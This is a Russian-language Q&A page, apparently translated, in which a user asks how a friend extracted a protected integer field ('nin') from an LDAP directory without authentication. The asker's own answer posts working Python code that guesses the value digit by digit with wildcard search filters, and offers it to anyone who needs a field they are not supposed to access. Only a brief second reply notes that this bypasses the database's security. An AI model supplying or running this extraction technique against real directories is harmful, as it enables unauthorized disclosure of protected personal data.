Двоичный поиск недоступного поля данных в ldap из python - PullRequest
0 голосов
/ 03 июня 2010

Я заинтересован в воспроизведении определенного скрипта Python.

У меня есть друг, который обращался к базе данных ldap без аутентификации.Была особая область интересов, мы будем называть ее nin (целое число) для справки, и это поле было недоступно без надлежащей аутентификации.Однако моему другу удалось получить доступ к этому полю с помощью некоторого бинарного поиска (а не просто циклического перебора целых чисел) в данных;он проверял первую цифру, проверял, было ли она больше или меньше начального значения, он увеличивал ее до тех пор, пока она не вернула истинное значение, указывающее на существование, добавив цифры и продолжив проверку, пока не нашел точное значение целого числа nin.

Есть идеи о том, как он поступил об этом?У меня есть доступ к аналогично настроенной базе данных.

Ответы [ 2 ]

0 голосов
/ 04 июня 2010

Разобрался. Мне просто нужно было отфильтровать (& (cn = Мое имя) (nin = угадать *), и мне удалось отфильтровать, пока он не вернет правильный результат.

Код следует на тот случай, если кому-то еще нужно найти поле, к которому он не должен обращаться, но может проверить результаты и узнать имя.

def lookup(self, username="", guess=0,verbose=0):
        guin = guess
        result_set = []
        varsearch = "(&(name=" + str(username) + ")(" + "nin" + "=" + str(guin) + "*))"
        result_id = self.l.search("", ldap.SCOPE_SUBTREE, varsearch, ["nin"])
        while True:
            try:
                result_type, result_data = self.l.result(result_id, 0, 5.0)
                if (result_data == []):
                    break
                else:
                    if result_type == ldap.RES_SEARCH_ENTRY:
                        result_set.append(result_data)
            except ldap.TIMEOUT:
                return {"name": username}
        if len(result_set) == 0:
            return self.lookup(username, guin + 1,verbose)
        else:
            if guess < 1000000:
                return self.lookup(username, guess * 10,verbose)
            else:
                if verbose==1:
                    print "Bingo!",
                return str(guess)
0 голосов
/ 03 июня 2010

Лучше всего получить разрешение на доступ к этому полю. В противном случае вы обходите безопасность базы данных.

Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...